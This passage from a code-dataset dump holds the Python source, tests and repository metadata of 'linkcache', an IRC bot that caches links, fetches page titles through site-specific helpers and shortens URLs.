\"/tmp/tsb-image-%s.jpeg\" % body_md5\n subprocess.call(('xvfb-run', 'wkhtmltoimage', '--format', 'jpeg', '--quality', '100', html_path, image_path))\n\n message = message.reply_with_photo(image_path, caption=caption)\n\n # Update the database with the new telegram file id, the last hash of the html page and the last check\n page.last_file_id = message.photo.file_id\n page.last_hash = body_md5\n page.last_check = func.now()\n session.commit()\n\n # Remove the temporary files\n os.remove(html_path)\n os.remove(image_path)\n\n\ndef shorten_url(url):\n domain = urlparse(url).netloc\n\n if domain.startswith(\"www.\"):\n domain = domain[4:]\n\n return domain\n" } ]
1
jeffmahoney/linkcache
https://github.com/jeffmahoney/linkcache
9495d731be2b2ffcde7093c5632fefb15cb8bc7a
26cd6312bacda3309f77652663b7fcce5b942ae2
7eb58d69076b6a95276d8272fbcb8ac048b0796c
refs/heads/master
2021-01-20T21:29:35.457204
2015-06-24T04:53:18
2015-06-24T04:53:18
21,619,280
0
0
null
2014-07-08T15:55:46
2015-03-01T22:19:30
2015-04-21T17:41:04
Python
[ { "alpha_fraction": 0.6057312488555908, "alphanum_fraction": 0.6116600632667542, "avg_line_length": 27.91428565979004, "blob_id": "82513b5a0b31b4df6e827d4190b8fb1a232696e1", "content_id": "d4a2afcc24976089e63fa508231dfb0050a66b89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1012, "license_type": "no_license", "max_line_length": 76, "num_lines": 35, "path": "/linkcache/helpers/urbandictionary.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nfrom common import UrlHelper\nimport re\nfrom bs4 import BeautifulSoup\n\nclass UrbanDictionaryHelper(UrlHelper):\n def __init__(self, config):\n UrlHelper.__init__(self, config)\n self.clear_title = True\n self.url_regex = re.compile(\".*urbandictionary.com/define.php.*\")\n self.provides = [ 'title', 'description' ]\n\n def match(self, url):\n return self.url_regex.search(url) is not None\n\n def fetch(self, browser, url):\n r = browser.open(url)\n s = BeautifulSoup(r.read())\n\n panel = s.find(\"div\", {\"class\" : \"def-panel\"});\n\n word = panel.find(\"div\", {\"class\" :\n \"def-header\"}).find('a').string.strip();\n\n definition = panel.find('div', {\"class\" : 'meaning'}).string.strip()\n\n title = \"Urban Dictionary: \" + word\n\n return { 'title' : title, 'description' : definition }\n\ninstantiate = UrbanDictionaryHelper\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6641679406166077, "alphanum_fraction": 0.6821589469909668, "avg_line_length": 26.79166603088379, "blob_id": "d543fa232049a74258217caade9f128c4753e5aa", "content_id": "3f098d45a315fe50a821ce5fdc0a4bc0d36f7bdb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 667, "license_type": "no_license", "max_line_length": 119, "num_lines": 24, "path": "/linkcache/tests/test_rewriter.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nimport setup\nimport unittest\nimport ConfigParser\n\nimport linkcache.linkcache\n\nclass LookupTestCase(unittest.TestCase):\n def setUp(self):\n config = ConfigParser.ConfigParser()\n f = open('test_rewriter.ini')\n config.readfp(f)\n\tself.cache = linkcache.linkcache.LinkCache(config)\n\n def test_google(self):\n ret = self.cache.call_rewriters(\"@google reference\")\n self.assertTrue(ret == \"http://www.google.com/search?hl=en&ie=ISO-8859-1&q=reference&btnI=I%27m+Feeling+Lucky\")\n\nif __name__ == '__main__':\n unittest.main()\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.618461549282074, "alphanum_fraction": 0.6338461637496948, "avg_line_length": 18.117647171020508, "blob_id": "4f42897d1386f70976de0acf565446d893e14ecf", "content_id": "0eac4c1024979cb0b477e4bfa24a6a06b9ad27a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 325, "license_type": "no_license", "max_line_length": 60, "num_lines": 17, "path": "/linkcache/shorteners/common.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nclass GenericShortener:\n def __init__(self, config):\n\tpass\n\n def self_reference(self, url):\n\tpass\n\n def pre_shorten(self, url):\n return None\n\n def post_shorten(self, url, id):\n return None\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.5858468413352966, "alphanum_fraction": 0.5939674973487854, "avg_line_length": 25.121212005615234, "blob_id": "f9ec09df8e52fd5486dead1c1b0bcb69f4d0e5f3", "content_id": "1bd91e6677b036a34714d5c613267101859ab256", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 862, "license_type": "no_license", "max_line_length": 60, "num_lines": 33, "path": "/linkcache/helpers/imgur.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nfrom common import UrlHelper\nimport re\nfrom bs4 import BeautifulSoup\n\nclass ImgurHelper(UrlHelper):\n def __init__(self, config):\n UrlHelper.__init__(self, config)\n self.clear_title = True\n self.url_regex = re.compile(\"imgur.com/(\\S+)\\....\")\n self.provides = [ 'title' ]\n\n def match(self, url):\n return self.url_regex.search(url) is not None\n\n def fetch(self, browser, url):\n m = self.url_regex.search(url)\n url = \"http://imgur.com/gallery/%s\" % (m.group(1))\n\n r = browser.open(url)\n s = BeautifulSoup(r.read())\n\n title = s.title.string\n if title is not None:\n title = \" \".join(title.split())\n\n return { 'title' : title }\n\ninstantiate = ImgurHelper\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.625798225402832, "alphanum_fraction": 0.6283524632453918, "avg_line_length": 19.076923370361328, "blob_id": "aa99b560d2552b853faf986eb192189b9ed2a0e4", "content_id": "9f612283650293aa1dfe6e842a17baab3be59748", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 783, "license_type": "no_license", "max_line_length": 62, "num_lines": 39, "path": "/linkcache/helpers/__init__.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nimport os\nimport glob\nimport ConfigParser\nimport importlib\n\nmodules = glob.glob(os.path.dirname(__file__)+\"/[a-zA-Z]*.py\")\n__all__ = [ os.path.basename(f)[:-3] for f in modules]\n\ndef load(config):\n all_helpers = []\n all_mods = []\n\n assert type(config) is dict\n\n helpers = __all__\n\n if 'helpers' in config['general']:\n\t helpers = config['general']['helpers'].split()\n\n for mod in helpers:\n\tx = importlib.import_module(\"linkcache.helpers.%s\" % mod)\n\tall_mods.append(x)\n\n\ttry:\n\t c = config[x.instantiate.config_section]\n\texcept KeyError:\n c = {}\n\texcept AttributeError:\n\t continue\n\n\ttry:\n\t all_helpers.append(x.instantiate(c))\n\texcept AttributeError:\n\t pass\n\n return (all_helpers, all_mods)\n" }, { "alpha_fraction": 0.6544020771980286, "alphanum_fraction": 0.663600504398346, "avg_line_length": 26.178571701049805, "blob_id": "075d8a27edb3600f364c194bf6e0227efdcee6ff", "content_id": "039923a029b8dbf37707cc61dd5d4d5d56f9f11e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 761, "license_type": "no_license", "max_line_length": 60, "num_lines": 28, "path": "/linkcache/shorteners/dnb.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nimport re\nimport common\nimport linkcache.browser\nimport urllib\n\n\nselfRefRegex = re.compile(r\"http://dnb.us/([A-Za-z0-9]+)\")\nclass DnbShortener(common.GenericShortener):\n apiurl = 'http://dnb.us/surl-api.php?url=%s'\n def __init__(self, config):\n common.GenericShortener.__init__(self, config)\n self.browser = linkcache.browser.SingletonBrowser()\n\n def self_reference(self, url):\n return selfRefRegex.search(url) is not None\n\n def pre_shorten(self, url):\n url = urllib.quote(url)\n r = self.browser.open(self.apiurl % url)\n dnburl = r.read().strip()\n return dnburl\n\ninstantiate = DnbShortener\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.539393961429596, "alphanum_fraction": 0.54747474193573, "avg_line_length": 26.5, "blob_id": "dbf2f46626e513c3d987e277ad68509d36f9abac", "content_id": "c57032ed0a45b36ac7be07214680208d5636a458", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 990, "license_type": "no_license", "max_line_length": 76, "num_lines": 36, "path": "/linkcache/helpers/shorturl.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nfrom common import UrlHelper\nimport re\nimport string\nimport urllib2\nfrom bs4 import BeautifulSoup\n\nclass ShortUrlHelper(UrlHelper):\n def __init__(self, config):\n UrlHelper.__init__(self, config)\n self.clear_title = True\n self.provides = [ 'title', 'url' ]\n\n domains = [ \"bit\\.ly\", # Bitly\n \"goo\\.gl\", # Google\n \"kck\\.st\", # Kickstarter\n \"sbn\\.to\" # SBNation\n ];\n\n self.url_regex = re.compile(\"(\" + string.join(domains,\"|\") + \")/.*\")\n\n def fetch(self, browser, url):\n url = re.sub(\"/#!\", \"\", url)\n url = re.sub(\"^https\", \"http\", url)\n\n target = urllib2.urlopen(url)\n targeturl = target.geturl()\n\n sO = BeautifulSoup(target.read())\n\n return {'title': sO.title.string, 'url': targeturl }\n\ninstantiate = ShortUrlHelper\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6647356748580933, "alphanum_fraction": 0.6763215065002441, "avg_line_length": 32.682926177978516, "blob_id": "2f0102608b69bb574e2f6aa5ef2e866b862083fd", "content_id": "1085850088ab43f0abf36d1f9035f274f8bad565", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1381, "license_type": "no_license", "max_line_length": 132, "num_lines": 41, "path": "/linkcache/tests/test_readability.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\nimport setup\n\nimport unittest\n\nimport linkcache\nimport linkcache.browser\nimport linkcache.helpers.readability\n\nclass ReadabilityTests(unittest.TestCase):\n def setUp(self):\n self.helper = linkcache.helpers.readability.instantiate(None)\n self.browser = linkcache.browser.SingletonBrowser()\n\n def test_bad_match(self):\n link = \"https://www.readability.com/asdarticles/5kxlx1jw\"\n ret = self.helper.match(link)\n self.assertFalse(ret)\n\n def test_good_match(self):\n link = \"https://www.readability.com/articles/5kxlx1jw\"\n ret = self.helper.match(link)\n self.assertTrue(ret)\n\n def test_good_fetch(self):\n link = \"https://www.readability.com/articles/ly6pnoqr\"\n expected_target = \"http://www.theguardian.com/commentisfree/2014/may/20/why-did-lavabit-shut-down-snowden-email\"\n expected_title = \"Secrets, lies and Snowden's email: why I was forced to shut down Lavabit | Comment is free | The Guardian\"\n ret = self.helper.fetch(self.browser, link)\n\n self.assertTrue('title' in ret)\n self.assertTrue(ret['title'] == expected_title)\n\n self.assertTrue('url' in ret)\n self.assertTrue(ret['url'] == expected_target)\n\nif __name__ == '__main__':\n unittest.main()\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.659937858581543, "alphanum_fraction": 0.6661490797996521, "avg_line_length": 29.66666603088379, "blob_id": "7b214d8bdc44a0cf40f1b5e07bb6daae80c22c3f", "content_id": "fd584a615cbb7929cb84fe883e42cc733681ca4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1288, "license_type": "no_license", "max_line_length": 100, "num_lines": 42, "path": "/linkcache/tests/test_imgur.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nimport setup\nimport unittest\n\nimport linkcache\nimport linkcache.helpers.imgur\nfrom linkcache import browser\nimport urllib2\n\nclass ImgurTestCase(unittest.TestCase):\n def setUp(self):\n self.helper = linkcache.helpers.imgur.instantiate(None)\n self.browser = browser.SingletonBrowser()\n\n def test_link_to_image(self):\n ret = self.helper.match(\"http://imgur.com/askldjaklsd.jpg\")\n self.assertTrue(ret)\n\n def test_link_to_gallery(self):\n ret = self.helper.match(\"http://imgur.com/gallery/askldjaklsd\")\n self.assertFalse(ret)\n\n def test_missing_link(self):\n link = \"http://imgur.com/askldjaklsd.jpg\"\n with self.assertRaises(urllib2.HTTPError):\n ret = self.helper.fetch(self.browser, link)\n\n def test_valid_link(self):\n link = \"http://imgur.com/dSC2iva.jpg\"\n expected_title = \"A monument to lab rats used for DNA research. Novosibirsk, Russia - Imgur\"\n\n ret = self.helper.fetch(self.browser, link)\n self.assertIsInstance(ret, dict)\n self.assertTrue('title' in ret)\n self.assertTrue(ret['title'] == expected_title)\n\nif __name__ == '__main__':\n unittest.main()\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.5663082599639893, "alphanum_fraction": 0.5752688050270081, "avg_line_length": 24.363636016845703, "blob_id": "d06bb432055323b909cabf1b64e7ac1e403deb12", "content_id": "073348cf5ff0a38c013eaf7bfe33df547142436e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 558, "license_type": "no_license", "max_line_length": 60, "num_lines": 22, "path": "/linkcache/helpers/common.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/python env\n# -*- coding: utf-8 -*-,\n\nclass UrlHelper(object):\n config_section = None\n def __init__(self, config):\n if config is None:\n config = {}\n assert type(config) is dict\n self.clear_title = False\n self.url_regex = None\n self.provides = []\n\n def match(self, url):\n if self.url_regex:\n return self.url_regex.search(url) is not None\n return False;\n\n def fetch(self, browser, url):\n return {}\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6915113925933838, "alphanum_fraction": 0.6925466060638428, "avg_line_length": 27.382352828979492, "blob_id": "d9179357fd9dfe29f8c71bc7e77f1609093c8638", "content_id": "cbf4477fa8fa58337050e010ef2b169a33be3bdc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 966, "license_type": "no_license", "max_line_length": 77, "num_lines": 34, "path": "/linkcache/tests/test_all.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nimport setup\nimport unittest\n\ntestmodules = [\n\t\"linkcache.tests.test_browser\",\n\t\"linkcache.tests.test_result\",\n\t\"linkcache.tests.test_lookup\",\n\t\"linkcache.tests.test_rewriter\",\n\n\t\"linkcache.tests.test_burrowiki\",\n\t\"linkcache.tests.test_imgur\",\n\t\"linkcache.tests.test_readability\",\n\t\"linkcache.tests.test_twitter\",\n\t\"linkcache.tests.test_youtube\",\n\t\"linkcache.tests.test_soundcloud\",\n\t\"linkcache.tests.test_wolframalpha\",\n ]\n\nsuite = unittest.TestSuite()\n\nfor t in testmodules:\n try:\n # If the module defines a suite() function, call it to get the suite.\n mod = __import__(t, globals(), locals(), ['suite'])\n suitefn = getattr(mod, 'suite')\n suite.addTest(suitefn())\n except (ImportError, AttributeError):\n # else, just load all the test cases from the module.\n suite.addTest(unittest.defaultTestLoader.loadTestsFromModule(mod))\n\nunittest.TextTestRunner().run(suite)\n\n" }, { "alpha_fraction": 0.5431738495826721, "alphanum_fraction": 0.5507584810256958, "avg_line_length": 27.566667556762695, "blob_id": "3853f5b6ea770098855e3556af1950adf6f8fc4d", "content_id": "1d04347c56990250b782a0a4ac67d640908adcd9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1714, "license_type": "no_license", "max_line_length": 79, "num_lines": 60, "path": "/linkcache/helpers/youtube.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nfrom common import UrlHelper\nfrom urlparse import urlparse, parse_qs\nimport re\nimport string\nimport urllib2\nfrom bs4 import BeautifulSoup\n\nclass YoutubeHelper(UrlHelper):\n def __init__(self, config):\n UrlHelper.__init__(self, config)\n self.clear_title = False\n self.provides = [ 'title', 'url' ]\n\n domains = [ 'youtube\\.com', 'youtu\\.be' ]\n\n self.url_regex = re.compile(\"(\" + string.join(domains,\"|\") + \")/.*\")\n\n def fetch(self, browser, url):\n targetUrl = url\n\n pURL = urlparse(url)\n query = parse_qs(pURL.query)\n\n params = \"\"\n titleCharms = \"\"\n\n if 't' in query:\n params += \"#t=\" + str(query['t'][0])\n titleCharms += \" [timecode]\"\n\n if pURL.fragment and (pURL.fragment.find(\"t=\") > -1):\n params += \"#\" + pURL.fragment\n titleCharms += \" [timecode]\"\n\n if 'list' in query:\n params += \"&list=\" + str(query['list'][0])\n titleCharms += \" [playlist]\"\n\n if 'youtu.be' in pURL.netloc:\n targetUrl = \"https://www.youtube.com/watch?v=\" + pURL.path[1:]\n targetUrl += params\n elif 'v' in query:\n targetUrl = \"https://www.youtube.com/watch?v=\" + str(query['v'][0])\n targetUrl += params\n else:\n targetUrl = url\n targetUrl = re.sub(\"^https\", \"http\", url)\n\n target = urllib2.urlopen(targetUrl)\n\n sO = BeautifulSoup(target.read())\n\n title = sO.title.string + titleCharms\n\n return {'title': title, 'url': targetUrl }\ninstantiate = YoutubeHelper\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6349413394927979, "alphanum_fraction": 0.6414602398872375, "avg_line_length": 33.088890075683594, "blob_id": "1acfd2bcb3216c150190a38fb642c2d256ba2b0d", "content_id": "21286a174592bb414573147dcd1dbe3fdd2a8516", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1534, "license_type": "no_license", "max_line_length": 81, "num_lines": 45, "path": "/linkcache/tests/test_browser.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\nimport unittest\nimport urllib2\nimport mechanize\n\nimport setup\nimport linkcache.browser\n\nclass BrowserTest(unittest.TestCase):\n def setUp(self):\n self.browser = linkcache.browser.SingletonBrowser(None, \"passwords.txt\")\n\n def test_invalid_name(self):\n with self.assertRaises(urllib2.URLError):\n ret = self.browser.open(\"http://httpbin.orgx/\")\n\n def test_invalid_path(self):\n with self.assertRaises(urllib2.HTTPError):\n ret = self.browser.open(\"http://httpbin.org/xyz\")\n\n def test_open_url(self):\n ret = self.browser.open(\"http://httpbin.org/get\")\n self.assertTrue(isinstance(ret,\n mechanize._response.response_seek_wrapper))\n\n def test_auth_url(self):\n ret = self.browser.open(\"http://httpbin.org/basic-auth/user/passwd\")\n self.assertTrue(isinstance(ret,\n mechanize._response.response_seek_wrapper))\n\n def test_failed_auth_url(self):\n with self.assertRaises(urllib2.HTTPError):\n ret = self.browser.open(\"http://httpbin.org/basic-auth/user/passwd2\")\n\n def test_gzip(self):\n ret = self.browser.open(\"http://httpbin.org/gzip\")\n self.assertTrue(isinstance(ret,\n mechanize._response.response_seek_wrapper))\n headers = ret.info()\n self.assertFalse('Content-Encoding' in headers)\n\nif __name__ == '__main__':\n unittest.main()\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6004709601402283, "alphanum_fraction": 0.6059654355049133, "avg_line_length": 26.69565200805664, "blob_id": "715ce8161ea310b58de10ace43ea4ac4bf799d4f", "content_id": "833b65009d66087eb71f4e1f67f97b9a2f1dc9d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1274, "license_type": "no_license", "max_line_length": 65, "num_lines": 46, "path": "/linkcache/database/db.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\nclass LinkDb:\n def __init__(self, config):\n assert type(config) is dict\n\n def update(self, id, field, value):\n pass\n\n def update_shorturl(self, id, shorturl):\n self.update(id, 'shorturl', shorturl)\n\n def set_title(self, id, title):\n self.update(id, 'title', title)\n\n def clear_title(self, id):\n self.set_title(id, '')\n\n def set_description(self, id, desc):\n self.update(id, 'description', desc)\n\n def set_flags(self, id, flags):\n self.update(id, 'flags', flags)\n\n def set_content_type(self, id, content_type):\n self.update(id, 'type', content_type)\n\n def set_url_alive(self, id, alive=1):\n self.update(id, 'alive', alive)\n\n def set_url_dead(self, id):\n self.set_url_alive(id, 0)\n\n def fetch_by_field(self, field, id, channel):\n pass\n\n def fetch_by_url(self, url, channel=\"\"):\n return self.fetch_by_field(\"url\", url, channel)\n\n def fetch_by_id(self, id, channel=\"\"):\n return self.fetch_by_field(\"id\", id, channel)\n\n def fetch_by_shorturl(self, shorturl, channel=\"\"):\n return self.fetch_by_field(\"shorturl\", shorturl, channel)\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.7137546539306641, "alphanum_fraction": 0.732342004776001, "avg_line_length": 19.69230842590332, "blob_id": "5ba877b405579905f248a212faddf5258e665b42", "content_id": "8fd36e05c2e7995d503acdf0e7bf217250275ce0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 269, "license_type": "no_license", "max_line_length": 60, "num_lines": 13, "path": "/linkcache/tests/test_burrowiki.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\nimport sys\nimport os\nimport common\n\nimport linkcache.helpers.burrowiki\n\nclass HelperTests(common.LinkCacheTestCase):\n def test_burrowiki(self):\n pass\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.624525249004364, "alphanum_fraction": 0.6456863880157471, "avg_line_length": 27.796875, "blob_id": "8a431afd19a9b60192d6b49bc54104043362ee3c", "content_id": "9af5ac386ed66d313d853ec7f082586256148e03", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1843, "license_type": "no_license", "max_line_length": 116, "num_lines": 64, "path": "/linkcache/tests/test_lookup.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nimport setup\nimport unittest\nimport ConfigParser\nimport ssl\n\nimport linkcache.linkcache\n\nprint linkcache.linkcache\n\nclass LookupTestCase(unittest.TestCase):\n def setUp(self):\n config = ConfigParser.ConfigParser()\n config.read('../../config.ini')\n self.cache = linkcache.linkcache.LinkCache(config)\n\n def boilerplate(self, line, inst=linkcache.result.LinkCacheResult):\n ret = self.cache.parse_line(line, \"user\")\n if inst is None:\n self.assertIsNone(ret)\n else:\n self.assertIsInstance(ret, inst)\n return ret\n\n def test_http_url(self):\n self.boilerplate(\"http://www.google.com\")\n\n def test_https_url(self):\n self.boilerplate(\"https://www.google.com\")\n\n def test_http_ip_address(self):\n self.boilerplate(\"http://173.194.46.115\")\n\n def test_https_ip_address(self):\n # This is really just testing whether we'll correctly parse\n # the https://1.2.3.4 format. Without a hostname, we'll\n # get SSL certificate errors on newer implementations.\n try:\n self.boilerplate(\"https://173.194.46.115\")\n except ssl.CertificateError, e:\n pass\n\n def test_interpolated_url(self):\n self.boilerplate(\"www.google.com\")\n\n def test_interpolated_nonurl(self):\n self.boilerplate(\"will.i.am\")\n\n def test_interpolated_ip_address(self):\n self.boilerplate(\"173.194.46.115\")\n\n def test_interoplated_numbers(self):\n self.boilerplate(\"macos 10.1\", None)\n\n def test_interpolated_with_real_url(self):\n self.assertTrue(self.boilerplate(\"google.com hosts http://google.com/maps\").url == \"http://google.com/maps\")\n\n\nif __name__ == '__main__':\n unittest.main()\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6399999856948853, "alphanum_fraction": 0.6742857098579407, "avg_line_length": 24, "blob_id": "cf28dca85e868e0d0b1dadae84f38872fea76c69", "content_id": "9c0f477092cc8960d3064b43bc0e0e59d8ce3b09", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 175, "license_type": "no_license", "max_line_length": 60, "num_lines": 7, "path": "/linkcache/tests/setup.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\nimport os\nimport sys\n\nsys.path.insert(0, os.path.abspath(\"../..\"))\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.5823389291763306, "alphanum_fraction": 0.5871121883392334, "avg_line_length": 30.424999237060547, "blob_id": "738bfeb43b9849014043ed12e73731cd92dedf50", "content_id": "a461c783ed47774c5a3cc853fcccc67b3fa2020e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1257, "license_type": "no_license", "max_line_length": 73, "num_lines": 40, "path": "/linkcache/helpers/twitterhelper.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nfrom common import UrlHelper\nimport twitter\nimport re\n\nclass TwitterHelper(UrlHelper):\n config_section = 'twitter'\n\n def __init__(self, config):\n UrlHelper.__init__(self, config)\n\n self.provides = [ 'description' ]\n self.clear_title = True\n self.url_regex = re.compile(\"twitter.com.*status\")\n\n self.twitterApi = twitter.Api(\n consumer_key=config['consumer_key'],\n consumer_secret=config['consumer_secret'],\n access_token_key=config['access_token_key'],\n access_token_secret=config['access_token_secret'])\n\n def fetch(self, browser, url):\n url = re.sub(\"/#!\", \"\", url)\n url = re.sub(\"^https\", \"http\", url)\n url = re.sub(\"/photo/.*\", \"\", url)\n\n regex = re.compile(r\".*twitter.com.*status[es]*/(\\d+)\")\n tweet_id = regex.search(url).group(1)\n\n try:\n tweet = self.twitterApi.GetStatus(id=tweet_id)\n tweet_desc = \"@\" + tweet.user.screen_name + \": \" + tweet.text\n return {'description': tweet_desc}\n except twitter.TwitterError, e:\n return None\n\ninstantiate = TwitterHelper\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.5058139562606812, "alphanum_fraction": 0.5103359222412109, "avg_line_length": 30.917526245117188, "blob_id": "855ae869def1a61f1f9e4a631be4af0e59dfb360", "content_id": "8a4a4ec8cb032df71f99e2bcce5aa920f3b49b0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12384, "license_type": "no_license", "max_line_length": 142, "num_lines": 388, "path": "/linkcache/linkcache.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nimport HTMLParser\nimport mechanize\nimport urllib2\nimport re\nimport os\nimport importlib\nimport ConfigParser\nfrom datetime import datetime\n\nimport database\nfrom result import LinkCacheResult\nimport lookup\nimport browser\n\nF_SPOILERS = 0x4\nF_NSFW = 0x2\nF_MAYBE_NSFW = 0x1\n\nclass LinkCacheHTTPError(urllib2.HTTPError):\n pass\n\nclass ConfigError(Exception):\n pass\n\nclass CodeError(Exception):\n pass\n\nipAddressRegex = re.compile(r\"^((((([0-9]{1,3})\\.){3})([0-9]{1,3}))((\\/[^\\s]+)|))$\")\nurlRegex = re.compile(r\"(^|\\s+)(([\\|\\$\\!\\~\\^]+)|)(((([\\w\\-]+\\.)+)([\\w\\-]+))(((/[\\w\\-\\.%\\(\\)~\\?=]*)+)+|\\s+|[\\!\\?\\.,;]+|$)|https?://[^\\]>\\s]*)\")\nselfRefRegex = re.compile(r\"http://(www.|)ice-nine.org/(l|link.php)/([A-Za-z0-9]+)\")\nhttpUrlRegex = re.compile(r\"(([\\|\\$\\!\\~\\^]+)|)(https?://[^\\]>\\s]+)\", re.I)\n\nclass LinkCache:\n def __init__(self, config):\n if isinstance(config, ConfigParser.ConfigParser):\n d = {}\n for section in config.sections():\n d[section] = dict(config.items(section))\n config = d\n else:\n assert type(config) is dict\n\n self.check_config(config)\n\n self.config = config\n\n self.allow_interpolation = True\n if 'allow_interpolation' in config['general']:\n self.allow_interpolation = config['general']['allow_interpolation']\n\n self.minimum_length = 0\n if 'minimum_length' in config['general']:\n self.minimum_length = config['general']['minimum_length']\n\n try:\n cookies = config['browser']['cookiejar']\n except KeyError:\n cookies = None\n try:\n passwords = config['browser']['passwords']\n except KeyError:\n passwords = None\n\n self.browser = browser.SingletonBrowser(cookies, passwords)\n db = config['general']['database']\n\n if db == 'sqlite3':\n db = 'sqlite'\n\n if 'sqlite3' in config:\n config['sqlite'] = config['sqlite3']\n\n try:\n m = importlib.import_module(\"linkcache.database.%s\" % db)\n except ImportError, e:\n raise ConfigError(\"No module for %s database found (%s)\" %\n (db, str(e)))\n\n try:\n db_config = config[db]\n except KeyError, e:\n db_config = {}\n\n self.database = m.instantiate(db_config)\n\n shortener = config['general']['shortener']\n try:\n m = importlib.import_module(\"linkcache.shorteners.%s\" % shortener)\n except ImportError, e:\n raise ConfigError(\"No module for %s shortener found (%s)\" %\n (shortener, str(e)))\n\n try:\n shortener_config = config[shortener]\n except KeyError, e:\n shortener_config = {}\n\n self.shortener = m.instantiate(shortener_config)\n self.lookup = lookup.Lookup(config)\n\n self.line_rewriters = []\n if 'rewriters' in config['general']:\n for name in config['general']['rewriters'].split():\n regex = config[name]['regex']\n rewriter = 